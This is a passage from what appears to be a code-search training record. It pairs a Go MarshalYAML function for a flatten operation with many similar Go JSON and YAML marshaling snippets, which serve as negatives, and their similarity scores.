o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (j *JSON) Marshal(target interface{}) (output interface{}, err error) {\n\treturn jsonEncoding.Marshal(target)\n}", "func (o OperationInputs) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (a ApplyArtifactsRequest) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"artifacts\", a.Artifacts)\n\treturn json.Marshal(objectMap)\n}", "func (j *WorkerCreateOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "func (u *TDigestMethodType) MarshalJSON() ([]byte, error) {\n\t// Declare temporary struct without functions to avoid recursive function call\n\ttype Alias TDigestMethodType\n\n\t// Encode innerXML to base64\n\tu.XsdGoPkgCDATA = base64.StdEncoding.EncodeToString([]byte(u.XsdGoPkgCDATA))\n\n\treturn json.Marshal(&struct{\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(u),\n\t})\n}", "func (t OperationResult) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(t.String())\n}", "func Marshal(v interface{}) ([]byte, error) {\n\trv := reflect.ValueOf(v)\n\tif rv.Kind() != reflect.Slice {\n\t\treturn nil, &InvalidMarshalError{rv.Kind()}\n\t}\n\n\tvar buf bytes.Buffer\n\tencoder := json.NewEncoder(&buf)\n\tfor i := 0; i < rv.Len(); i++ {\n\t\tif err := encoder.Encode(rv.Index(i).Interface()); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn buf.Bytes(), nil\n}", "func (a *Agg) MarshalJSON() ([]byte, error) {\n\troot := map[string]interface{}{\n\t\ta.Key: a.Aggregation,\n\t}\n\n\treturn json.Marshal(root)\n}", "func (cttsdto ConnectToTargetSQLDbTaskOutput) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif cttsdto.ID != nil {\n\t\tobjectMap[\"id\"] = cttsdto.ID\n\t}\n\tif cttsdto.Databases != nil {\n\t\tobjectMap[\"databases\"] = cttsdto.Databases\n\t}\n\tif cttsdto.TargetServerVersion != nil {\n\t\tobjectMap[\"targetServerVersion\"] = cttsdto.TargetServerVersion\n\t}\n\tif cttsdto.TargetServerBrandVersion != nil {\n\t\tobjectMap[\"targetServerBrandVersion\"] = cttsdto.TargetServerBrandVersion\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (this *SimpleWithMap_Nested) MarshalJSON() ([]byte, error) {\n\tstr, err := TypesMarshaler.MarshalToString(this)\n\treturn []byte(str), err\n}", "func (a AppListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", a.NextLink)\n\tpopulate(objectMap, \"value\", a.Value)\n\treturn json.Marshal(objectMap)\n}", "func (r *App) MarshalJSON() ([]byte, error) {\n\tout := make(CatsJSON)\n\tfor i, x := range r.Cats {\n\t\tout[i] = make(CatJSON)\n\t\tfor j, y := range x {\n\t\t\tmin, _ := y.Min.Get().(int)\n\t\t\tmax, _ := y.Max.Get().(int)\n\t\t\tout[i][j] = Line{\n\t\t\t\tValue: y.Value.Get(),\n\t\t\t\tDefault: y.Default.Get(),\n\t\t\t\tMin: min,\n\t\t\t\tMax: max,\n\t\t\t\tUsage: y.Usage,\n\t\t\t}\n\t\t}\n\t}\n\treturn json.Marshal(out)\n}", "func (a AppPatch) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"identity\", a.Identity)\n\tpopulate(objectMap, \"properties\", a.Properties)\n\tpopulate(objectMap, \"sku\", a.SKU)\n\tpopulate(objectMap, \"tags\", a.Tags)\n\treturn json.Marshal(objectMap)\n}", "func (m OperationResult) MarshalJSON() ([]byte, error) {\n\tvar b1, b2 []byte\n\tvar err error\n\tb1, err = json.Marshal(struct {\n\t\tCreatedDateTime strfmt.DateTime `json:\"createdDateTime,omitempty\"`\n\n\t\tLastActionDateTime strfmt.DateTime `json:\"lastActionDateTime,omitempty\"`\n\n\t\tMessage string `json:\"message,omitempty\"`\n\n\t\tOperationType string `json:\"operationType,omitempty\"`\n\n\t\tStatus string `json:\"status,omitempty\"`\n\t}{\n\t\tCreatedDateTime: m.CreatedDateTime,\n\t\tLastActionDateTime: m.LastActionDateTime,\n\t\tMessage: m.Message,\n\t\tOperationType: m.OperationType,\n\t\tStatus: m.Status,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tb2, err = json.Marshal(struct {\n\t\tOperationProcessingResult OperationProcessingResult `json:\"operationProcessingResult,omitempty\"`\n\t}{\n\t\tOperationProcessingResult: m.OperationProcessingResult,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn swag.ConcatJSON(b1, b2), nil\n}" ]
[ "0.62526375", "0.61385477", "0.6112125", "0.60852975", "0.60816634", "0.6077656", "0.6074227", "0.606881", "0.6043391", "0.60334504", "0.6021433", "0.6011812", "0.60034", "0.5968368", "0.59462696", "0.5934126", "0.5934126", "0.5934126", "0.5934126", "0.5934126", "0.5934126", "0.5934126", "0.5934126", "0.5934126", "0.5934126", "0.5934126", "0.5934126", "0.5934126", "0.5934126", "0.5934126", "0.59141755", "0.58996385", "0.5892201", "0.58917105", "0.5887236", "0.5887044", "0.5887044", "0.5882719", "0.5843409", "0.5843409", "0.5843409", "0.5817209", "0.58130383", "0.58089584", "0.5808526", "0.5806164", "0.5798538", "0.5798109", "0.5793987", "0.5792859", "0.5792302", "0.57918906", "0.57742906", "0.57734096", "0.57711416", "0.5765946", "0.576574", "0.5761269", "0.57573855", "0.57522154", "0.5746758", "0.57448334", "0.5739392", "0.5735906", "0.5735906", "0.5735906", "0.5735906", "0.5735906", "0.5735906", "0.5733881", "0.57222044", "0.57123584", "0.57118833", "0.5708961", "0.5707837", "0.5704334", "0.5699231", "0.56966877", "0.5696257", "0.5696257", "0.56939125", "0.5690073", "0.56887233", "0.56887233", "0.56887233", "0.56887233", "0.56887233", "0.56887233", "0.5682327", "0.5678218", "0.5669514", "0.5667774", "0.5661125", "0.5660668", "0.5659504", "0.56594837", "0.5653366", "0.56523657", "0.5652083", "0.5646598" ]
0.6916513
0
MarshalYAML will marshal a flatten operation into YAML
func (op OpFlatten) MarshalYAML() (interface{}, error) { return op.Field.String(), nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (o *OAuthFlow) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(o, o.low)\n\treturn nb.Render(), nil\n}", "func (o Op) MarshalYAML() (interface{}, error) {\n\treturn map[string]interface{}{\n\t\to.Type(): o.OpApplier,\n\t}, nil\n}", "func (c *Components) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(c, c.low)\n\treturn nb.Render(), nil\n}", "func (p *Parameter) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(p, p.low)\n\treturn nb.Render(), nil\n}", "func (r OAuthFlow) MarshalYAML() (interface{}, error) {\n\tobj := make(map[string]interface{})\n\n\tobj[\"authorizationUrl\"] = r.AuthorizationURL\n\n\tobj[\"tokenUrl\"] = r.TokenURL\n\n\tif r.RefreshURL != \"\" {\n\t\tobj[\"refreshUrl\"] = r.RefreshURL\n\t}\n\n\tobj[\"scopes\"] = r.Scopes\n\n\tfor key, val := range r.Extensions {\n\t\tobj[key] = val\n\t}\n\n\treturn obj, nil\n}", "func (m *BootstrapMode) MarshalYAML() (interface{}, error) {\n\treturn m.String(), nil\n}", "func (op OpRetain) MarshalYAML() (interface{}, error) {\n\treturn op.Fields, nil\n}", "func (r RetryConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyRetryConfig{\n\t\tOutput: r.Output,\n\t\tConfig: r.Config,\n\t}\n\tif r.Output == nil {\n\t\tdummy.Output = struct{}{}\n\t}\n\treturn dummy, nil\n}", "func (export WebAuthnDeviceExport) MarshalYAML() (any, error) {\n\treturn export.ToData(), nil\n}", "func (i UserGroupAccess) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}", "func (s GitEvent) MarshalYAML() (interface{}, error) {\n\treturn toString[s], nil\n}", "func (d *Discriminator) MarshalYAML() (interface{}, error) {\n\tnb := low2.NewNodeBuilder(d, d.low)\n\treturn nb.Render(), nil\n}", "func MarshalYAML(v interface{}, extensions map[string]interface{}) (interface{}, error) {\n\tif len(extensions) == 0 {\n\t\treturn v, nil\n\t}\n\tmarshaled, err := yaml.Marshal(v)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar unmarshaled map[string]interface{}\n\tif err := yaml.Unmarshal(marshaled, &unmarshaled); err != nil {\n\t\treturn nil, err\n\t}\n\tfor k, v := range extensions {\n\t\tunmarshaled[k] = v\n\t}\n\treturn unmarshaled, nil\n}", "func (ep Endpoint) MarshalYAML() (interface{}, error) {\n\ts, err := ep.toString()\n\treturn s, err\n}", "func (o *Output) MarshalYAML() (interface{}, error) {\n\tif o.ShowValue {\n\t\treturn withvalue(*o), nil\n\t}\n\to.Value = nil // explicitly make empty\n\to.Sensitive = false // explicitly make empty\n\treturn *o, nil\n}", "func (n Nil) MarshalYAML() (interface{}, error) {\n\treturn nil, nil\n}", "func (a ApprovalStrategy) MarshalYAML() (interface{}, error) {\n\treturn approvalStrategyToString[a], nil\n\t//buffer := bytes.NewBufferString(`\"`)\n\t//buffer.WriteString(approvalStrategyToString[*s])\n\t//buffer.WriteString(`\"`)\n\t//return buffer.Bytes(), nil\n}", "func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}", "func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}", "func (o *OpenAPI3PathExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}", "func (d *DefaultOptions) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(d)\n}", "func (cp *CertPool) MarshalYAML() (interface{}, error) {\n\treturn cp.Files, nil\n}", "func (i Instance) MarshalYAML() (interface{}, error) {\n\treturn i.Vars, nil\n}", "func Marshal(v interface{}) ([]byte, error) {\n\tvar buf bytes.Buffer\n\tenc := yaml.NewEncoder(&buf)\n\tenc.SetIndent(2)\n\terr := enc.Encode(v)\n\treturn buf.Bytes(), err\n}", "func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"<secret>\", nil\n\t}\n\treturn nil, nil\n}", "func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"<secret>\", nil\n\t}\n\treturn nil, nil\n}", "func (z Z) MarshalYAML() (interface{}, error) {\n\ttype Z struct {\n\t\tS string `json:\"s\"`\n\t\tI int32 `json:\"iVal\"`\n\t\tHash string\n\t\tMultiplyIByTwo int64 `json:\"multipliedByTwo\"`\n\t}\n\tvar enc Z\n\tenc.S = z.S\n\tenc.I = z.I\n\tenc.Hash = z.Hash()\n\tenc.MultiplyIByTwo = int64(z.MultiplyIByTwo())\n\treturn &enc, nil\n}", "func MarshalMetricsYAML(metrics pmetric.Metrics) ([]byte, error) {\n\tunmarshaler := &pmetric.JSONMarshaler{}\n\tfileBytes, err := unmarshaler.MarshalMetrics(metrics)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar jsonVal map[string]interface{}\n\tif err = json.Unmarshal(fileBytes, &jsonVal); err != nil {\n\t\treturn nil, err\n\t}\n\tb := &bytes.Buffer{}\n\tenc := yaml.NewEncoder(b)\n\tenc.SetIndent(2)\n\tif err := enc.Encode(jsonVal); err != nil {\n\t\treturn nil, err\n\t}\n\treturn b.Bytes(), nil\n}", "func (bc *ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(AtomicLoadByteCount(bc)), nil\n}", "func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}", "func (d LegacyDec) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}", "func (f Flag) MarshalYAML() (interface{}, error) {\n\treturn f.Name, nil\n}", "func (b *Backend) MarshalYAML() (interface{}, error) {\n\tb.mu.RLock()\n\tdefer b.mu.RUnlock()\n\n\tpayload := struct {\n\t\tAddress string\n\t\tDisabledUntil time.Time `yaml:\"disabledUntil\"`\n\t\tForcePromotionsAfter time.Duration `yaml:\"forcePromotionsAfter\"`\n\t\tLatency time.Duration `yaml:\"latency\"`\n\t\tMaxConnections int `yaml:\"maxConnections\"`\n\t\tTier int `yaml:\"tier\"`\n\t}{\n\t\tAddress: b.addr.String(),\n\t\tDisabledUntil: b.mu.disabledUntil,\n\t\tForcePromotionsAfter: b.mu.forcePromotionAfter,\n\t\tLatency: b.mu.lastLatency,\n\t\tMaxConnections: b.mu.maxConnections,\n\t\tTier: b.mu.tier,\n\t}\n\treturn payload, nil\n}", "func (o *OpenAPI3SchemaExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}", "func (p Params) MarshalYAML() (interface{}, error) {\n\treturn p.String(), nil\n}", "func (key PrivateKey) MarshalYAML() (interface{}, error) {\n\treturn key.String(), nil\n}", "func MarshalToYaml(obj runtime.Object, gv schema.GroupVersion) ([]byte, error) {\n\treturn MarshalToYamlForCodecs(obj, gv, clientsetscheme.Codecs)\n}", "func (i UOM) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}", "func (r ReadUntilConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyReadUntilConfig{\n\t\tInput: r.Input,\n\t\tRestart: r.Restart,\n\t\tCheck: r.Check,\n\t}\n\tif r.Input == nil {\n\t\tdummy.Input = struct{}{}\n\t}\n\treturn dummy, nil\n}", "func (f Fixed8) MarshalYAML() (interface{}, error) {\n\treturn f.String(), nil\n}", "func (m OrderedMap[K, V]) MarshalYAML() ([]byte, error) {\n\tvar s yaml.MapSlice\n\tfor _, item := range m.ToSlice() {\n\t\ts = append(s, yaml.MapItem{\n\t\t\tKey: item.Key,\n\t\t\tValue: item.Value,\n\t\t})\n\t}\n\treturn yaml.Marshal(s)\n}", "func (o *OpenAPI3Options) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}", "func (r *Regexp) MarshalYAML() (interface{}, error) {\n\treturn r.String(), nil\n}", "func (d *WebAuthnDevice) MarshalYAML() (any, error) {\n\treturn d.ToData(), nil\n}", "func (b ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(b), nil\n}", "func (u *URL) MarshalYAML() (interface{}, error) {\n\treturn u.String(), nil\n}", "func (d Rate) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}", "func (i Interface) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}", "func (s *spiff) Marshal(node Node) ([]byte, error) {\n\treturn yaml.Marshal(node)\n}", "func (v Validator) MarshalYAML() (interface{}, error) {\n\tbs, err := yaml.Marshal(struct {\n\t\tStatus sdk.BondStatus\n\t\tJailed bool\n\t\tUnbondingHeight int64\n\t\tConsPubKey string\n\t\tOperatorAddress sdk.ValAddress\n\t\tTokens sdk.Int\n\t\tDelegatorShares sdk.Dec\n\t\tDescription Description\n\t\tUnbondingCompletionTime time.Time\n\t\tCommission Commission\n\t\tMinSelfDelegation sdk.Dec\n\t}{\n\t\tOperatorAddress: v.OperatorAddress,\n\t\tConsPubKey: MustBech32ifyConsPub(v.ConsPubKey),\n\t\tJailed: v.Jailed,\n\t\tStatus: v.Status,\n\t\tTokens: v.Tokens,\n\t\tDelegatorShares: v.DelegatorShares,\n\t\tDescription: v.Description,\n\t\tUnbondingHeight: v.UnbondingHeight,\n\t\tUnbondingCompletionTime: v.UnbondingCompletionTime,\n\t\tCommission: v.Commission,\n\t\tMinSelfDelegation: v.MinSelfDelegation,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bs), nil\n}", "func (f BodyField) MarshalYAML() (interface{}, error) {\n\treturn toJSONDot(f), nil\n}", "func (u *URL) MarshalYAML() (interface{}, error) {\n\tif u.url == nil {\n\t\treturn nil, nil\n\t}\n\treturn u.url.String(), nil\n}", "func (r ParseKind) MarshalYAML() ([]byte, error) {\n\tif s, ok := interface{}(r).(fmt.Stringer); ok {\n\t\treturn yaml.Marshal(s.String())\n\t}\n\ts, ok := _ParseKindValueToName[r]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"invalid ParseKind: %d\", r)\n\t}\n\treturn yaml.Marshal(s)\n}", "func (b Bool) MarshalYAML() (interface{}, error) {\n\tif !b.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn b.value, nil\n}", "func (d Document) MarshalYAML() (interface{}, error) {\n\treturn d.raw, nil\n}", "func (m MixinDeclaration) MarshalYAML() (interface{}, error) {\n\tif m.Config == nil {\n\t\treturn m.Name, nil\n\t}\n\n\traw := map[string]interface{}{\n\t\tm.Name: m.Config,\n\t}\n\treturn raw, nil\n}", "func (r Discriminator) MarshalYAML() (interface{}, error) {\n\tobj := make(map[string]interface{})\n\n\tobj[\"propertyName\"] = r.PropertyName\n\n\tif len(r.Mapping) > 0 {\n\t\tobj[\"mapping\"] = r.Mapping\n\t}\n\n\treturn obj, nil\n}", "func (schema SchemaType) MarshalYAML() (interface{}, error) {\n\treturn schema.String(), nil\n}", "func MarshalToYamlForCodecs(obj runtime.Object, gv schema.GroupVersion, codecs serializer.CodecFactory) ([]byte, error) {\n\tconst mediaType = runtime.ContentTypeYAML\n\tinfo, ok := runtime.SerializerInfoForMediaType(codecs.SupportedMediaTypes(), mediaType)\n\tif !ok {\n\t\treturn []byte{}, errors.Errorf(\"unsupported media type %q\", mediaType)\n\t}\n\n\tencoder := codecs.EncoderForVersion(info.Serializer, gv)\n\treturn runtime.Encode(encoder, obj)\n}", "func asYaml(w io.Writer, m resmap.ResMap) error {\n\tb, err := m.AsYaml()\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = w.Write(b)\n\treturn err\n}", "func (c CompressionType) MarshalYAML() (interface{}, error) {\n\treturn compressionTypeID[c], nil\n}", "func (v *Int8) MarshalYAML() (interface{}, error) {\n\tif v.IsAssigned {\n\t\treturn v.Val, nil\n\t}\n\treturn nil, nil\n}", "func (o *OpenAPI3ResponseExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}", "func (i Int) MarshalYAML() (interface{}, error) {\n\tif !i.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn i.value, nil\n}", "func (ss StdSignature) MarshalYAML() (interface{}, error) {\n\tpk := \"\"\n\tif ss.PubKey != nil {\n\t\tpk = ss.PubKey.String()\n\t}\n\n\tbz, err := yaml.Marshal(struct {\n\t\tPubKey string `json:\"pub_key\"`\n\t\tSignature string `json:\"signature\"`\n\t}{\n\t\tpk,\n\t\tfmt.Sprintf(\"%X\", ss.Signature),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bz), err\n}", "func (key PublicKey) MarshalYAML() (interface{}, error) {\n\treturn key.String(), nil\n}", "func (k *Kluster) YAML() ([]byte, error) {\n\treturn yaml.Marshal(k)\n}", "func (op OpRemove) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}", "func (i ChannelName) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}", "func (u URL) MarshalYAML() (interface{}, error) {\n\tif u.URL != nil {\n\t\treturn u.String(), nil\n\t}\n\treturn nil, nil\n}", "func Marshal(ctx context.Context, obj interface{}, paths ...string) (string, error) {\n\trequestYaml, err := yaml.MarshalContext(ctx, obj)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tfile, err := parser.ParseBytes(requestYaml, 0)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// normalize the structure converting the byte slice fields to string\n\tfor _, path := range paths {\n\t\tpathString, err := yaml.PathString(path)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tvar byteSlice []byte\n\t\terr = pathString.Read(strings.NewReader(string(requestYaml)), &byteSlice)\n\t\tif err != nil && !errors.Is(err, yaml.ErrNotFoundNode) {\n\t\t\treturn \"\", err\n\t\t}\n\t\tif err := pathString.ReplaceWithReader(file,\n\t\t\tstrings.NewReader(string(byteSlice)),\n\t\t); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\treturn file.String(), nil\n}", "func (va ClawbackVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(va.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: va.AccountNumber,\n\t\tPubKey: getPKString(va),\n\t\tSequence: va.Sequence,\n\t\tOriginalVesting: va.OriginalVesting,\n\t\tDelegatedFree: va.DelegatedFree,\n\t\tDelegatedVesting: va.DelegatedVesting,\n\t\tEndTime: va.EndTime,\n\t\tStartTime: va.StartTime,\n\t\tVestingPeriods: va.VestingPeriods,\n\t}\n\treturn marshalYaml(out)\n}", "func Marshal(o interface{}) ([]byte, error) {\n\tj, err := json.Marshal(o)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshaling into JSON: %v\", err)\n\t}\n\n\ty, err := JSONToYAML(j)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error converting JSON to YAML: %v\", err)\n\t}\n\n\treturn y, nil\n}", "func (v *VersionInfo) MarshalYAML() (interface{}, error) {\n\n\treturn &struct {\n\t\tSemVer string `yaml:\"semver\"`\n\t\tShaLong string `yaml:\"shaLong\"`\n\t\tBuildTimestamp int64 `yaml:\"buildTimestamp\"`\n\t\tBranch string `yaml:\"branch\"`\n\t\tArch string `yaml:\"arch\"`\n\t}{\n\t\tSemVer: v.SemVer,\n\t\tShaLong: v.ShaLong,\n\t\tBuildTimestamp: v.BuildTimestamp.Unix(),\n\t\tBranch: v.Branch,\n\t\tArch: v.Arch,\n\t}, nil\n}", "func (date Date) MarshalYAML() (interface{}, error) {\n\tvar d = string(date)\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn nil, err\n\t}\n\treturn d, nil\n}", "func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}", "func (f Float64) MarshalYAML() (interface{}, error) {\n\tif !f.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn f.value, nil\n}", "func SortYAML(in io.Reader, out io.Writer, indent int) error {\n\n\tincomingYAML, err := ioutil.ReadAll(in)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"can't read input: %v\", err)\n\t}\n\n\tvar hasNoStartingLabel bool\n\trootIndent, err := detectRootIndent(incomingYAML)\n\tif err != nil {\n\t\tif !errors.Is(err, ErrNoStartingLabel) {\n\t\t\tfmt.Fprint(out, string(incomingYAML))\n\t\t\treturn fmt.Errorf(\"can't detect root indentation: %v\", err)\n\t\t}\n\n\t\thasNoStartingLabel = true\n\t}\n\n\tif hasNoStartingLabel {\n\t\tincomingYAML = append([]byte(CustomLabel+\"\\n\"), incomingYAML...)\n\t}\n\n\tvar value map[string]interface{}\n\tif err := yaml.Unmarshal(incomingYAML, &value); err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\n\t\treturn fmt.Errorf(\"can't decode YAML: %v\", err)\n\t}\n\n\tvar outgoingYAML bytes.Buffer\n\tencoder := yaml.NewEncoder(&outgoingYAML)\n\tencoder.SetIndent(indent)\n\n\tif err := encoder.Encode(&value); err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\t\treturn fmt.Errorf(\"can't re-encode YAML: %v\", err)\n\t}\n\n\treindentedYAML, err := indentYAML(outgoingYAML.String(), rootIndent, indent, hasNoStartingLabel)\n\tif err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\t\treturn fmt.Errorf(\"can't re-indent YAML: %v\", err)\n\t}\n\n\tfmt.Fprint(out, reindentedYAML)\n\treturn nil\n}", "func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.Duration.String(), nil\n}", "func (bva BaseVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(bva.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: bva.AccountNumber,\n\t\tPubKey: getPKString(bva),\n\t\tSequence: bva.Sequence,\n\t\tOriginalVesting: bva.OriginalVesting,\n\t\tDelegatedFree: bva.DelegatedFree,\n\t\tDelegatedVesting: bva.DelegatedVesting,\n\t\tEndTime: bva.EndTime,\n\t}\n\treturn marshalYaml(out)\n}", "func (cva ContinuousVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(cva.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: cva.AccountNumber,\n\t\tPubKey: getPKString(cva),\n\t\tSequence: cva.Sequence,\n\t\tOriginalVesting: cva.OriginalVesting,\n\t\tDelegatedFree: cva.DelegatedFree,\n\t\tDelegatedVesting: cva.DelegatedVesting,\n\t\tEndTime: cva.EndTime,\n\t\tStartTime: cva.StartTime,\n\t}\n\treturn marshalYaml(out)\n}", "func (ec EllipticCurve) MarshalYAML() (interface{}, error) {\n\treturn ec.String(), nil\n}", "func (v *Uint16) MarshalYAML() (interface{}, error) {\n\tif v.IsAssigned {\n\t\treturn v.Val, nil\n\t}\n\treturn nil, nil\n}", "func MarshalUnmarshal(in interface{}, out interface{}) error {\n\t// struct -> yaml -> map for easy access\n\trdr, err := Marshal(in)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn Unmarshal(rdr, out)\n}", "func (pva PeriodicVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(pva.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: pva.AccountNumber,\n\t\tPubKey: getPKString(pva),\n\t\tSequence: pva.Sequence,\n\t\tOriginalVesting: pva.OriginalVesting,\n\t\tDelegatedFree: pva.DelegatedFree,\n\t\tDelegatedVesting: pva.DelegatedVesting,\n\t\tEndTime: pva.EndTime,\n\t\tStartTime: pva.StartTime,\n\t\tVestingPeriods: pva.VestingPeriods,\n\t}\n\treturn marshalYaml(out)\n}", "func (d DurationMinutes) MarshalYAML() (interface{}, error) {\n\tif !d.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn int(d.value / time.Minute), nil\n}", "func (c Configuration) YAML() ([]byte, error) {\n\treturn yaml.Marshal(c)\n}", "func (vva ValidatorVestingAccount) MarshalYAML() (interface{}, error) {\n\tvar bs []byte\n\tvar err 